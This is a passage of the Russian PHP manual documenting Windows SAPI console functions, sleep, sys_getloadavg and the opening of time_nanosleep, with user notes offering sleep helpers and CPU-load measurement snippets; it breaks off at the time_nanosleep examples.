  • PHP Manual
  • Разные функции
  • Указывает, совместима ли кодовая страница с UTF-8

sapi_windows_cp_is_utf8

(PHP 7 >= 7.1.0, PHP 8)

sapi_windows_cp_is_utf8 — Указывает, совместима ли кодовая страница с UTF-8

Описание

sapi_windows_cp_is_utf8(): bool

Указывает, совместима ли кодовая страница текущего процесса с UTF-8.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает, совместима ли кодовая страница текущего процесса с UTF-8.

Смотрите также

  • sapi_windows_cp_get() - Получить текущую кодовую страницу

User Contributed Notes

There are no user contributed notes for this page.


Установить кодовую страницу процесса

  • « sapi_windows_cp_is_utf8
  • sapi_windows_generate_ctrl_event »
  • PHP Manual
  • Разные функции
  • Установить кодовую страницу процесса

sapi_windows_cp_set

(PHP 7 >= 7.1.0, PHP 8)

sapi_windows_cp_set — Установить кодовую страницу процесса

Описание

sapi_windows_cp_set(int $codepage): bool

Установить кодовую страницу текущего процесса.

Список параметров

codepage

Идентификатор кодовой страницы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • sapi_windows_cp_get() - Получить текущую кодовую страницу

User Contributed Notes

There are no user contributed notes for this page.


Послать событие CTRL другому процессу

  • « sapi_windows_cp_set
  • sapi_windows_set_ctrl_handler »
  • PHP Manual
  • Разные функции
  • Послать событие CTRL другому процессу

sapi_windows_generate_ctrl_event

(PHP 7 >= 7.4.0, PHP 8)

sapi_windows_generate_ctrl_event — Послать событие CTRL другому процессу

Описание

sapi_windows_generate_ctrl_event(int $event, int $pid = 0): bool

Послать событие CTRL другому процессу в той же группе процессов.

Список параметров

event

Событие CTRL; PHP_WINDOWS_EVENT_CTRL_C или PHP_WINDOWS_EVENT_CTRL_BREAK.

pid

Идентификатор процесса, которому необходимо послать событие. Если задано как 0, то событие будет послано всем процессам в группе.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Использование sapi_windows_generate_ctrl_event()

В этом примере показано, как послать события CTRL+BREAK дочернему процессу. В данном случае дочерний процесс будет печатать Я всё ещё жив! раз в секунду, пока пользователь не нажмёт CTRL+BREAK. После этого дочерний процесс завершится.

<?php
// Пересылка событий CTRL+BREAK дочернему процессу
sapi_windows_set_ctrl_handler('sapi_windows_generate_ctrl_event');

// Создаём дочерний процесс
$cmd = ['php', '-r', 'while (true) { echo "Я всё ещё жив!\n"; sleep(1); }'];
$descspec = array(['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']);
$options = ['create_process_group' => true];
$proc = proc_open($cmd, $descspec, $pipes, null, null, $options);
while (true) {
echo fgets($pipes[1]);
}
?>

Смотрите также

  • proc_open() - Выполнить команду и открыть указатель на файл для ввода/вывода
  • sapi_windows_set_ctrl_handler() - Установить или удалить обработчик события CTRL

User Contributed Notes

Michael Q 22-Mar-2021 12:05
This function may produce a Warning:

sapi_windows_set_ctrl_handler(): CTRL events trapping is only supported on console in script.php..

It happens when script is started by "php-cgi.exe", so "php.exe -q" should be used instead.

While pressing CTRL+C don't expect the handler to run instantly, i've ran some curl request in a loop and found that handler runs when either response arrives or request finishes by timeout.


Установить или удалить обработчик события CTRL

  • « sapi_windows_generate_ctrl_event
  • sapi_windows_vt100_support »
  • PHP Manual
  • Разные функции
  • Установить или удалить обработчик события CTRL

sapi_windows_set_ctrl_handler

(PHP 7 >= 7.4.0, PHP 8)

sapi_windows_set_ctrl_handler — Установить или удалить обработчик события CTRL

Описание

sapi_windows_set_ctrl_handler(?callable $handler, bool $add = true): bool

Устанавливает или удаляет обработчик события CTRL, который позволит процессам Windows CLI перехватывать или игнорировать события CTRL+C и CTRL+BREAK. Обратите внимание, что в многопоточном окружение это возможно только при вызове из главного потока.

Список параметров

handler

Функция обратного вызова, которая будет установлена или удалена. Эта функция будет вызываться при наступлении событий CTRL+C и CTRL+BREAK. Функция должна иметь следующую сигнатуру:

handler(int $event): void
event
Полученное событие CTRL; PHP_WINDOWS_EVENT_CTRL_C или PHP_WINDOWS_EVENT_CTRL_BREAK.
Установка параметра handler в значение null приведёт к игнорированию событий CTRL+C, но не CTRL+BREAK.

add

Если true, то обработчик будет установлен. Если false, то удалён.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Использование sapi_windows_set_ctrl_handler()

В этом примере показано, как перехватывать события CTRL.

<?php
function ctrl_handler(int $event)
{
switch ($event) {
case PHP_WINDOWS_EVENT_CTRL_C:
echo "Вы нажали CTRL+C\n";
break;
case PHP_WINDOWS_EVENT_CTRL_BREAK:
echo "Вы нажали CTRL+BREAK\n";
break;
}
}

sapi_windows_set_ctrl_handler('ctrl_handler');
while (true); // Бесконечный цикл
?>

Смотрите также

  • sapi_windows_generate_ctrl_event() - Послать событие CTRL другому процессу

User Contributed Notes

There are no user contributed notes for this page.


Получить или установить поддержку VT100 для заданного потока, связанного с буфером вывода консоли Windows

  • « sapi_windows_set_ctrl_handler
  • show_source »
  • PHP Manual
  • Разные функции
  • Получить или установить поддержку VT100 для заданного потока, связанного с буфером вывода консоли Windows

sapi_windows_vt100_support

(PHP 7 >= 7.2.0, PHP 8)

sapi_windows_vt100_support — Получить или установить поддержку VT100 для заданного потока, связанного с буфером вывода консоли Windows

Описание

sapi_windows_vt100_support(resource $stream, ?bool $enable = null): bool

Если параметр enable равен null, функция возвращает true или false в зависимости от того, разрешены или нет управляющие последовательности VT100 для stream

Если параметр enable является логическим значением (bool), функция попытается включить или выключить функциональность VT100 для потока stream. В этом случае функция вернёт true или false в зависимости от успешности выполнения.

При старте, PHP пытается включить VT100 для потоков STDOUT и STDERR. Но если, например, эти потоки перенаправлены в файл, то поддержка VT100 может не включиться.

Если включена поддержка VT100, то можно использовать управляющие последовательности, так как они известны терминалу. Они позволяют изменять вывод терминала. В Windows эти последовательности известны как "Console Virtual Terminal Sequences".

Внимание

Эта функция использует реализацию флага ENABLE_VIRTUAL_TERMINAL_PROCESSING в Windows 10 API, следовательно функциональность VT100 может быть недоступна в более старых версиях Windows.

Список параметров

stream

Поток, с которым будет работать функция.

enable

Если является логическим значением (bool), то должно быть либо true, либо false, для включения и отключения VT100 соответственно.

Возвращаемые значения

Если параметр enable равен null, функция возвращает true или false в зависимости от того, разрешены или нет управляющие последовательности VT100

Если параметр enable является логическим значением (bool): Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | enable теперь допускает значение null.

Примеры

Пример #1 Состояние sapi_windows_vt100_support() по умолчанию

По умолчанию, для STDOUT и STDERR поддержка VT100 включена.

php -r "var_export(sapi_windows_vt100_support(STDOUT));echo ' ';var_export(sapi_windows_vt100_support(STDERR));"

Результатом выполнения данного примера будет что-то подобное:

true true

Если поток перенаправлен, то поддержка VT100 будет отключена:

php -r "var_export(sapi_windows_vt100_support(STDOUT));echo ' ';var_export(sapi_windows_vt100_support(STDERR));" 2>NUL

Результатом выполнения данного примера будет что-то подобное:

true false

Пример #2 Изменение состояния с помощью sapi_windows_vt100_support()

Вы не можете включить поддержку VT100 для STDOUT или STDERR если эти потоки перенаправлены.

php -r "var_export(sapi_windows_vt100_support(STDOUT, true));echo ' ';var_export(sapi_windows_vt100_support(STDERR, true));" 2>NUL

Результатом выполнения данного примера будет что-то подобное:

true false

Пример #3 Пример использования с поддержкой VT100

<?php
$out = fopen('php://stdout','w');
fwrite($out, 'Just forgot a lettr.');
// Переместить курсор на две позиции назад
fwrite($out, "\033[2D");
// Вставляет один пробел, сдвигая существующий текст вправо -> Просто забыли букву.
fwrite($out, "\033[1@");
fwrite($out, 'e');
?>

Результат выполнения данного примера:

Just forgot a letter.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним highlight_file

  • « sapi_windows_vt100_support
  • sleep »
  • PHP Manual
  • Разные функции
  • Псевдоним highlight_file

show_source

(PHP 4, PHP 5, PHP 7, PHP 8)

show_source — Псевдоним highlight_file()

Описание

Функция является псевдонимом: highlight_file().

User Contributed Notes

There are no user contributed notes for this page.


Задержка выполнения

  • « show_source
  • sys_getloadavg »
  • PHP Manual
  • Разные функции
  • Задержка выполнения

sleep

(PHP 4, PHP 5, PHP 7, PHP 8)

sleep — Задержка выполнения

Описание

sleep(int $seconds): int

Откладывает исполнение программы на число секунд, указанное в параметре seconds.

Замечание:

Чтобы отложить выполнение программы на доли секунды, используйте функцию usleep(), поскольку функция sleep() ожидает целое число (int). Например, sleep(0.25) приостановит выполнение программы на 0 секунд.

Список параметров

seconds

Время остановки в секундах (должно быть больше или равно 0).

Возвращаемые значения

Возвращает 0 в случае успешного выполнения.

Если вызов был прерван сигналом, функция sleep() возвратит значение, не равное нулю. В Windows это значение всегда будет равно 192 (значение константы Windows API WAIT_IO_COMPLETION). На других платформах возвращаемом значением будет количество секунд, оставшихся до задержки.

Ошибки

Если указанное число секунд в параметре seconds отрицательное, выбрасывается исключение ValueError..

Список изменений

Версия | Описание
8.0.0 | Функция выбрасывает исключение ValueError, если в параметре seconds указано отрицательное число; ранее вместо этого выдавалась ошибка уровня E_WARNING и функция возвращала значение false.

Примеры

Пример #1 Пример использования sleep()

<?php

// текущее время
echo date('h:i:s') . "\n";

// ожидание в течениe 10 секунд
sleep(10);

// завершение ожидания
echo date('h:i:s') . "\n";

?>

Этот пример выведет (через 10 секунд)

05:31:23
05:31:33

Смотрите также

  • usleep() - Задержка выполнения в микросекундах
  • time_nanosleep() - Задержка на заданное число секунд и наносекунд
  • time_sleep_until() - Откладывает исполнение скрипта до заданного времени
  • set_time_limit() - Ограничение времени выполнения скрипта

User Contributed Notes

ealexs at gmail dot com 20-Sep-2022 08:29
From my testing calling sleep(0); will do a `thread spin`.
It would be nice if this was to be put explicitly in the documentation as it is useful. You can do the minimum wait without overloading the CPU thread.
Anonymous 08-Sep-2021 08:08
I wrote a simple method for sleeping with a float, which also allows you to do milliseconds (via fractional seconds).

<?php
  function sleepFloatSecs($secs) {
    $intSecs = intval($secs);
    $microSecs = ($secs - $intSecs) * 1000000;

    if($intSecs > 0) {
      sleep($intSecs);
    }
    if($microSecs > 0) {
      usleep($microSecs);
    }
  }
?>

And testing on my machine it works perfectly:

<?php
  $x = [0.100,0.250,0.5,1.0,1.5,2.0,2.5];

  foreach($x as $secs) {
    $t = microtime(true);
    sleepFloatSecs($secs);
    $t = microtime(true) - $t;
    echo "$secs \t => \t $t\n";
  }
?>

Output:

<?php
  0.1     =>    0.10017800331116
  0.25    =>    0.25016593933105
  0.5     =>    0.50015211105347
  1       =>    1.0001430511475
  1.5     =>    1.5003218650818
  2       =>    2.000167131424
  2.5     =>    2.5002470016479
?>
manu7772 at gmail dot com 03-Apr-2021 06:31
Sleep method with parameter in milliseconds :

public static function ms_sleep($milliseconds = 0) {
    if($milliseconds > 0) {
        $test = $milliseconds / 1000;
        $seconds = floor($test);
        $micro = round(($test - $seconds) * 1000000);
        if($seconds > 0) sleep($seconds);
        if($micro > 0) usleep($micro);
    }
}
smcbride at msn dot com 15-Mar-2021 08:55
An example of using sleep to run a set of functions at different intervals.  This is not a replacement for multi-threading, but it could help someone that wants to do something cheap.  You don't have to use eval().  It is just used as an example.  This is different than running a standard 1 second sleep loop, due to sleeping longer does not consume as much CPU.

<?php

// current time
echo date('h:i:s') . "\n";

// Some example functions
function function_a() { echo 'function_a called @ ' . date('h:i:s') . PHP_EOL; }
function function_b() { echo 'function_b called @ ' . date('h:i:s') . PHP_EOL; }
function function_c() { echo 'function_c called @ ' . date('h:i:s') . PHP_EOL; }

// Add some timers (in seconds) with function calls
$sleeptimers = array();
$sleeptimers['5'][0]['func'] = 'function_a();';
$sleeptimers['10'][0]['func'] = 'function_b();';
$sleeptimers['15'][0]['func'] = 'function_c();';

// Process the timers
while(true) {
    $currenttime = time();
    reset($sleeptimers);
    $mintime = key($sleeptimers);
    foreach($sleeptimers as $SleepTime => $Jobs) {
        foreach($Jobs as $JobIndex => $JobDetail) {
            if(!isset($JobDetail['lastrun'])) {
                $sleeptimers[$SleepTime][$JobIndex]['lastrun'] = time();
                if($SleepTime < $mintime) $mintime = $SleepTime;
            } elseif(($currenttime - $JobDetail['lastrun']) >= $SleepTime) {
                eval($JobDetail['func']);
                $lastrun = time();
                $sleeptimers[$SleepTime][$JobIndex]['lastrun'] = $lastrun;
                $mysleeptime = $SleepTime - ($currenttime - $lastrun);
                if($mysleeptime < 0) $mysleeptime = 0;
                if(($currenttime - $JobDetail['lastrun']) < $mintime) $mintime = $mysleeptime;  // account for length of time function runs
                echo 'Sleep time for function ' . $JobDetail['func'] . ' = ' . $mysleeptime . PHP_EOL;
            }
        }
    }
    echo 'Sleeping for ' . $mintime . ' seconds' . PHP_EOL;
    sleep($mintime);
}

?>
Anonymous 17-Jun-2018 10:18
Diego Andrade's msleep function is not compatible with php7's `strict_types`, cast the usleep parameter to int, and it will be,
 usleep((int)($time * 1000000));
sergio at inbep dot com dot br 26-Apr-2016 05:27
To use float or int numbers

function pause($seconds)
{
    usleep($seconds * 1000000);
}

pause(0.25);
Diego Andrade 13-Jan-2016 06:29
Maybe obvious, but this my function to delay script execution using decimals for seconds (to mimic sleep(1.5) for example):

<?php
/**
 * Delays execution of the script by the given time.
 * @param mixed $time Time to pause script execution. Can be expressed
 * as an integer or a decimal.
 * @example msleep(1.5); // delay for 1.5 seconds
 * @example msleep(.1); // delay for 100 milliseconds
 */
function msleep($time)
{
    usleep($time * 1000000);
}
?>
ash b 13-Apr-2014 09:56
re: "mitigating the chances of a full bruit force attack by a limit of 30 lookups a minute."

Not really - the attacker could do 100 requests. Each request might take 2 seconds but it doesn't stop the number of requests done. You need to stop processing more than one request every 2 seconds rather than delay it by 2 seconds on each execution.
Anonymous 10-Mar-2014 06:35
If you are having issues with sleep() and usleep() not responding as you feel they should, take a look at session_write_close()

as noted by anonymous on comments;
"If the ajax function doesn't do session_write_close(), then your outer page will appear to hang, and opening other pages in new tabs will also stall."
LVT 22-Sep-2013 04:13
Another reason for not to abuse sleep( ) is that along with the maximum of 30 sql connections, a shared hosting environment usually limits the number of processes to 20, if your website has many users online and you put sleep( ) everywhere in the code, your server will throw a 508 error (resource limit reached) and will stop serving your website.
LVT 15-Sep-2013 10:12
Always close your SQL connection and free the memory before using sleep( ) or you will be needlessly holding a SQL connection for [xx] seconds, remember that a shared hosting environment only allows max 30 SQL connections at the same time.
joshmeister at gmail dot com 16-Oct-2012 10:51
Here is a simplified way to flush output to browser before completing sleep cycle.  Note the buffer must be "filled" with 4096 characters (bytes?) for ob_flush() to work before sleep() occurs.
<?php
 ob_implicit_flush(true);
 $buffer = str_repeat(" ", 4096);
 echo "see this immediately.<br>";
 echo $buffer;
 ob_flush();
 sleep(5);
 echo "some time has passed";
?>
barlow at fhtsolutions dot com 24-Sep-2011 06:33
You should put sleep into both the pass and fail branches, since an attacker can check whether the response is slow and use that as an indicator - cutting down the delay time. But a delay in both branches eliminates this possibility.
code {@} ashleyhunt [dot] co [dot] uk 30-Jul-2011 06:31
A really simple, but effective way of majorly slowing down bruit force attacks on wrong password attempts.

In my example below, if the end-user gets the password correct, they get to log in at full speed, as expected. For every incorrect password attempt, the users response is delayed by 2 seconds each time; mitigating the chances of a full bruit force attack by a limit of 30 lookups a minute.

I hope this very simple approach will help make your web applications that little bit more secure.

Ashley

<?php
public function handle_login() {
    if($uid = user::check_password($_REQUEST['email'], $_REQUEST['password'])) {
        return self::authenticate_user($uid);
    }
    else {
        // delay failed output by 2 seconds
        // to prevent bruit force attacks
        sleep(2);
        return self::login_failed();
    }
}
?>
soulhunter1987 at post dot ru 18-Aug-2010 12:49
Since sleep() can be interrupted by signals i've made a function which can also be interrupted, but will continue sleeping after the signal arrived (and possibly was handled by callback). It's very useful when you write daemons and need sleep() function to work as long as you 'ordered', but have an ability to accept signals during sleeping.

<?php
function my_sleep($seconds)
{
    $start = microtime(true);
    for ($i = 1; $i <= $seconds; $i ++) {
        @time_sleep_until($start + $i);
    }
}
?>
toddjt78 at msn dot com 09-May-2010 07:39
Simple function to report the microtime since last called or the microtime since first called.

<?php
function stopWatch($total = false,$reset = true){
    global $first_called;
    global $last_called;
    $now_time = microtime(true);
    if ($last_called === null) {
        $last_called = $now_time;
        $first_called = $now_time;
    }
    if ($total) {
        $time_diff = $now_time - $first_called;
    } else {
        $time_diff = $now_time - $last_called;
    }
    if ($reset)
        $last_called = $now_time;
    return $time_diff;
}
?>

$reset  - if true, resets the last_called value to now
$total - if true, returns the time since first called otherwise returns the time since last called
jimmy at powerzone dot dk 06-Mar-2010 08:26
Notice that sleep() delays execution for the current session, not just the script. Consider the following sample, where two computers invoke the same script from a browser, which doesn't do anything but sleep.

PC 1 [started 14:00:00]: script.php?sleep=10 // Will stop after 10 secs
PC 1 [started 14:00:03]: script.php?sleep=0 // Will stop after 7 secs

PC 2 [started 14:00:05]: script.php?sleep=0 // Will stop immediately

http://php.net/session_write_close may be used to address this problem.
mohd at Bahrain dot Bz 16-Dec-2009 01:12
I hope this code will help somebody to solve the problem of not being able to flush or output the buffer to the browser (I use IE7).
It may work for you with just [ echo str_repeat(".", 4096); ] and without even using ob_... and flush.

<?php
ob_start();

ob_implicit_flush(true);
//[ OR ] echo "..."; ob_flush(); flush();

set_time_limit(0);

function sleep_echo($secs) {
    $secs = (int) $secs;
    $buffer = str_repeat(".", 4096);
    //echo $buffer."\r\n<br />\r\n";
    for ($i=0; $i<$secs; $i++) {
        echo date("H:i:s", time())." (".($i+1).")"."\r\n<br />\r\n".$buffer."\r\n<br />\r\n";
        ob_flush();
        flush();
        sleep(1);
        //usleep(1000000);
    }
}

sleep_echo(30);

ob_end_flush();
?>
f dot schima at ccgmbh dot de 10-Nov-2009 06:48
Remember that sleep() means "Let PHP time to do some other stuff".
That means that sleep() can be interrupted by signals. That is important if you work with pcntl_signal() and friends.
Anonymous 08-Feb-2009 12:32
This will allow you to use negative values or valuer below 1 second.

<?php slaap(0.5); ?>

<?php
function slaap($seconds)
{
    $seconds = abs($seconds);
    if ($seconds < 1):
       usleep($seconds*1000000);
    else:
       sleep($seconds);
    endif;
}
?>
webseos at gmail dot com 26-Aug-2008 09:29
This is a critical thing to use time delay function as sleep() Because a beginner can find that this is not working and he/she will see that all output appearing at a time.

A good way to implement this is by using the function -  ob_implicit_flush() then you don't need to use flush() function explicitly.

A sample code :
<?php
ob_implicit_flush(true);
for($i=0;$i<5;$i++)
{
$dis=<<<DIS
<div style="width:200px; background-color:lime;border:1px; text-align:center;text-decoration:blink;">
$i
</div>
DIS;
echo $dis;

sleep(5);
//flush();
}
MPHH 05-Jul-2003 12:33
Note: The set_time_limit() function and the configuration directive max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), the sleep() function, database queries, etc. is not included when determining the maximum time that the script has been running.
hartmut at six dot de 25-Aug-2000 06:38
it is a bad idea to use sleep() for delayed output effects as

1) you have to flush() output before you sleep

2) depending on your setup flush() will not work all the way to the browser as the web server might apply buffering of its own or the browser might not render output it thinks not to be complete

netscape for example will only display complete lines and will not show table parts until the </table> tag arrived

so use sleep if you have to wait  for events and don't want to burn  to much cycles, but don't use it for silly delayed output effects!


Получает среднюю загрузку системы

  • « sleep
  • time_nanosleep »
  • PHP Manual
  • Разные функции
  • Получает среднюю загрузку системы

sys_getloadavg

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

sys_getloadavg — Получает среднюю загрузку системы

Описание

sys_getloadavg(): array|false

Возвращает три образца, представляющих среднюю загрузку системы (число процессов в очереди системных процессов) за последние 1, 5 и 15 минут, соответственно. Возвращает false в случае возникновения ошибки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив (array) с тремя образцами (последние 1, 5 и 15 минут).

Примеры

Пример #1 Пример использования sys_getloadavg()

<?php
$load = sys_getloadavg();
if ($load[0] > 0.80) {
header('HTTP/1.1 503 Too busy, try again later');
die('Server too busy. Please try again later.');
}
?>

Примечания

Замечание: Для Windows-платформ эта функция не реализована.

User Contributed Notes

Anonymous 04-Oct-2021 08:50
simple function to get the cpu load with availability to most os platforms because I haven't actually been able to find a similar protocol if you happen to be testing out various os platforms...

function cpu_load():?string {
    $load='';
    if(strtolower(PHP_OS_FAMILY)=="windows") {
        exec("wmic cpu get loadpercentage /all",$out);
        if($out) {
            foreach($out as $line) {
                if($line&&preg_match("/^[0-9]+\$/",$line)) {
                    $load=$line;
                    break;
                }
            }
        }
    } else {
        $load=sys_getloadavg();
    }
    return $load;
}
Chris Wheeler 28-Jul-2021 10:28
It is important to note that sys_getloadavg() does not return a percentage, and the numbers that it returns are completely meaningless if you do not know the number of CPU cores. To get the number as a percentage you need to divide the value by the number of CPU cores in the system. (eg: if the value is 0.5 and you have two cores, then you are using 25% of the CPU on average). Here is a simple function to get the values as a percent:

<?php
function percentloadavg(){
    $cpu_count = 1;
    if(is_file('/proc/cpuinfo')) {
        $cpuinfo = file_get_contents('/proc/cpuinfo');
        preg_match_all('/^processor/m', $cpuinfo, $matches);
        $cpu_count = count($matches[0]);
    }

    $sys_getloadavg = sys_getloadavg();
    $sys_getloadavg[0] = $sys_getloadavg[0] / $cpu_count;
    $sys_getloadavg[1] = $sys_getloadavg[1] / $cpu_count;
    $sys_getloadavg[2] = $sys_getloadavg[2] / $cpu_count;

    return $sys_getloadavg;
}
?>
wowabbs+php at gmail dot com 11-Dec-2020 03:02
<?php // Usage processor in Windows using FFI
  if(!dl("ffi")) // Load the extension
    throw new Exception('Cound not load the FFI extension.');

  function GetSystemTimes()
  {
    static $Kernel32;
    $Kernel32??=FFI::cdef(<<<'IDL'
      bool GetSystemTimes(long long *IdleTime, long long *KernelTime, long long *UserTime);
      int GetLastError();
    IDL, 'Kernel32.dll');

    $IdleTime   = FFI::new('long long');
    $KernelTime = FFI::new('long long'); // already has idle time
    $UserTime   = FFI::new('long long');

    if($Kernel32->GetSystemTimes(FFI::addr($IdleTime), FFI::addr($KernelTime), FFI::addr($UserTime)))
      return [
        'Idle'   =>$IdleTime   ->cdata,
        'Kernel' =>$KernelTime ->cdata, // already has idle time
        'User'   =>$UserTime   ->cdata,
      ];
    return [];
  }

  function GetSystemTimesDelta()
  {
    static $Last=null;
    static $Delta=[0,1];
    $Times=GetSystemTimes();
    $Last??=$Times;
    $Idle =$Times['Idle'   ]-$Last['Idle'   ];
    $All  =$Times['Kernel' ]-$Last['Kernel' ]+  // Kernel already has idle time
           $Times['User'   ]-$Last['User'   ];
    if($All>1_000_000) // 100ms
    {
      $Delta=[$Idle, $All];
      $Last=$Times;
    }
    return $Delta;
  }

  function ProcessorLoad()
  {
    static $Load=0;
    [$Idle, $All]=GetSystemTimesDelta();
    if($All>0.0)
      $Load=1-$Idle/$All;
    return $Load;
  }

  function KbHit()
  {
    Static $Sys;
    $Sys??=FFI::cdef('bool _kbhit();', 'msvcrt.dll');
    return $Sys->_kbhit();
  }

  while(!KbHit())
  {
    echo str_pad((string)round(ProcessorLoad()*100), 3, ' ', STR_PAD_LEFT), "%\n";
    sleep(1);
  }
?>
stanislav dot eckert at vizson dot de 18-Jan-2016 05:15
Function to get current CPU load as percentage value under Windows and Linux.

Note: Function is getServerLoad(). It will return a decimal value as percentage of current CPU load or NULL if something went wrong (e. g. insufficient access rights).

<?php

    header("Content-Type: text/plain");

    function _getServerLoadLinuxData()
    {
        if (is_readable("/proc/stat"))
        {
            $stats = @file_get_contents("/proc/stat");

            if ($stats !== false)
            {
                // Remove double spaces to make it easier to extract values with explode()
                $stats = preg_replace("/[[:blank:]]+/", " ", $stats);

                // Separate lines
                $stats = str_replace(array("\r\n", "\n\r", "\r"), "\n", $stats);
                $stats = explode("\n", $stats);

                // Separate values and find line for main CPU load
                foreach ($stats as $statLine)
                {
                    $statLineData = explode(" ", trim($statLine));

                    // Found!
                    if
                    (
                        (count($statLineData) >= 5) &&
                        ($statLineData[0] == "cpu")
                    )
                    {
                        return array(
                            $statLineData[1],
                            $statLineData[2],
                            $statLineData[3],
                            $statLineData[4],
                        );
                    }
                }
            }
        }

        return null;
    }

    // Returns server load in percent (just number, without percent sign)
    function getServerLoad()
    {
        $load = null;

        if (stristr(PHP_OS, "win"))
        {
            $cmd = "wmic cpu get loadpercentage /all";
            @exec($cmd, $output);

            if ($output)
            {
                foreach ($output as $line)
                {
                    if ($line && preg_match("/^[0-9]+\$/", $line))
                    {
                        $load = $line;
                        break;
                    }
                }
            }
        }
        else
        {
            if (is_readable("/proc/stat"))
            {
                // Collect 2 samples - each with 1 second period
                // See: https://de.wikipedia.org/wiki/Load#Der_Load_Average_auf_Unix-Systemen
                $statData1 = _getServerLoadLinuxData();
                sleep(1);
                $statData2 = _getServerLoadLinuxData();

                if
                (
                    (!is_null($statData1)) &&
                    (!is_null($statData2))
                )
                {
                    // Get difference
                    $statData2[0] -= $statData1[0];
                    $statData2[1] -= $statData1[1];
                    $statData2[2] -= $statData1[2];
                    $statData2[3] -= $statData1[3];

                    // Sum up the 4 values for User, Nice, System and Idle and calculate
                    // the percentage of idle time (which is part of the 4 values!)
                    $cpuTime = $statData2[0] + $statData2[1] + $statData2[2] + $statData2[3];

                    // Invert percentage to get CPU time, not idle time
                    $load = 100 - ($statData2[3] * 100 / $cpuTime);
                }
            }
        }

        return $load;
    }

    //----------------------------

    $cpuLoad = getServerLoad();
    if (is_null($cpuLoad)) {
        echo "CPU load not estimateable (maybe too old Windows or missing rights at Linux or Windows)";
    }
    else {
        echo $cpuLoad . "%";
    }

?>
kexianbin at diyism dot com 28-May-2014 10:35
Use this:
<?php
$loads=sys_getloadavg();
$core_nums=trim(shell_exec("grep -P '^physical id' /proc/cpuinfo|wc -l"));
$load=$loads[0]/$core_nums;
echo $load;
?>
vladvarna at gmail dot com 18-Jul-2012 02:51
You can emulate loadavg using this. Can also be used to get iowait

<?php
   function ProcStats()
   {
       $fp=fopen("/proc/stat","r");
       if(false===$fp)
               return false;
       $a=explode(' ',fgets($fp));
       array_shift($a); //get rid of 'cpu'
       while(!$a[0])
           array_shift($a); //get rid of ' '
       var_dump($a);
       fclose($fp);
       return $a;
   }

   $a=ProcStats();
   sleep(5);
   $b=ProcStats();

   $total=array_sum($b)-array_sum($a);

   $loadavg = round(100* (($b[0]+$b[1]+$b[2]) - ($a[0]+$a[1]+$a[2])) / $total, 2); // user+nice+system
   $iowait= round(100* ($b[4] - $a[4])/$total,2);

?>
rick at rctonline dot nl 24-Jan-2012 12:57
Here is another one that also works on windows. Note that this method is not fast, so be careful in the number of calls to this function.

<?php
function get_server_load() {

        if (stristr(PHP_OS, 'win')) {

            $wmi = new COM("Winmgmts://");
            $server = $wmi->execquery("SELECT LoadPercentage FROM Win32_Processor");

            $cpu_num = 0;
            $load_total = 0;

            foreach($server as $cpu){
                $cpu_num++;
                $load_total += $cpu->loadpercentage;
            }

            $load = round($load_total/$cpu_num);

        } else {

            $sys_load = sys_getloadavg();
            $load = $sys_load[0];

        }

        return (int) $load;

    }
?>
828586 at gmail dot com 12-Jun-2010 07:43
equivalent for windows
<?php
ob_start();
passthru('typeperf -sc 1 "\processor(_total)\% processor time"',$status);
$content = ob_get_contents();
ob_end_clean();
if ($status === 0) {
    if (preg_match("/\,\"([0-9]+\.[0-9]+)\"/",$content,$load)) {
        if ($load[1] > get_config('busy_error')) {
            header('HTTP/1.1 503 Too busy, try again later');
            die('Server too busy. Please try again later.');
        }
    }
}
?>
Anonymous 19-Nov-2009 12:14
To get just current load avg, you can do :

<?php
$output = shell_exec('cat /proc/loadavg');
$loadavg = substr($output,0,strpos($output," "));
?>
scott at corelevel dot com 27-Nov-2006 02:47
I was having a problem with a large script I need to run - was a loop through about 50,000 records and downloading several pictures for a bunch of them, and updating the database.

the problem came as I started getting visitors to my site, the server would get behind, run out of memory, iowait skyrockets, mysql slows down... was a total downhill spiral.

Use this to fix it.

$load = sys_getloadavg();
$sleep=5;
$maxload=2;
if ($load[0] > $maxload) {
       sleep($sleep);
    echo "Busy server - sleep $sleep seconds<br>";
}

I have to play with the load and the sleep number to find what worked for my script, but now my server does not bog at all.
surfchen at gmail dot com 06-Jul-2006 09:22
the codes below will provide this function for order versions of PHP.
if (!function_exists('sys_getloadavg')) {
    function sys_getloadavg()
    {
        $loadavg_file = '/proc/loadavg';
        if (file_exists($loadavg_file)) {
            return explode(chr(32),file_get_contents($loadavg_file));
        }
        return array(0,0,0);
    }
}
tom pittlik 03-Mar-2006 02:36
The code below mimics the output of sys_getloadavg(). You may have to tweak the way the substring is captured for different distros.

<?php

function sys_getloadavg_hack()
{
    $str = substr(strrchr(shell_exec("uptime"),":"),1);
    $avs = array_map("trim",explode(",",$str));

    return $avs;
}

print_r(sys_getloadavg_hack());

// Array
// (
//     [0] => 6.24
//     [1] => 4.92
//     [2] => 3.99
// )

?>

This function is a neat way of running low priority or non-essential cron jobs on a busy server - if the load is high, don't continue with the task (and try again in a few minutes time).


Задержка на заданное число секунд и наносекунд

  • « sys_getloadavg
  • time_sleep_until »
  • PHP Manual
  • Разные функции
  • Задержка на заданное число секунд и наносекунд

time_nanosleep

(PHP 5, PHP 7, PHP 8)

time_nanosleep — Задержка на заданное число секунд и наносекунд

Описание

time_nanosleep(int $seconds, int $nanoseconds): array|bool

Откладывает исполнение программы на заданные в параметрах seconds и nanoseconds число секунд и наносекунд соответственно.

Список параметров

seconds

Должно быть целым положительным числом.

nanoseconds

Должно быть целым положительным числом, меньшим одного миллиарда.

Замечание: В Windows система может откладывать исполнение дольше указанного количества наносекунд, в зависимости от аппаратного обеспечения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Если отложенное исполнение было прервано сигналом, то возвращается ассоциативный массив со следующими компонентами:

  • seconds - число оставшихся секунд
  • nanoseconds - число оставшихся наносекунд

Примеры
